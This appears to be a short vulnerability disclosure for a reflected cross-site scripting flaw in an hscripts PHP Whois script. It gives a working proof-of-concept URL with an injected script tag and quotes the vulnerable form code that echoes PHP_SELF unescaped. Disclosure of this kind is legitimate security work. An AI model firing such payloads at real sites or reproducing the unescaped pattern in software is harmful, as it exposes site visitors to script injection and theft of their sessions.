[+] Exploit Title ; PHP Whois Script Cross Site Scripting Vulnerability
[+] Date : 2018-07-18
[+] Author : 0P3N3R From IRANIAN ETHICAL HACKERS
[+] Vendor Homepage : https://www.hscripts.com/scripts/php/whois.php
[+] Dork : ...
[+] My Site : http://4rtxtnk7o5yt3mfw.onion/
[+] Tested On : windows 10 - kali linux 2.0
[+] Contact : https://telegram.me/WebServer
[+] Description :
[!]Script is intended to check the availability of domains and also fetches the complete information about your domain or IP.
[+] Poc :
[!] localhost/phpwhois/index.php/"><script>alert('0P3N3R')</script>
[+] Type of vulnerability :
[!] Xss -> Reflected - > PHP_SELF
[+] Vulnerable Source Code :
[!] <form action="<?=$_SERVER['PHP_SELF'];?>">
<p><b><label for="domain">Domain/IP Address:</label></b>
<input type="text" name="domain" id="domain" value="<?=$domain;?>">
<input type="submit" value="whois"></p>
</form>
[+] Security Level :
[!] medium
[+] Exploitation Technique:
[!] Remote
[+] Request Method :
[!] GET
[+] Vulnerability Files :
[!] index.php
[+] Fix :
[!] Restrict user input or replace bad characters
[+] We Are : [+] 0P3N3R [+] Ebrahim_Vaker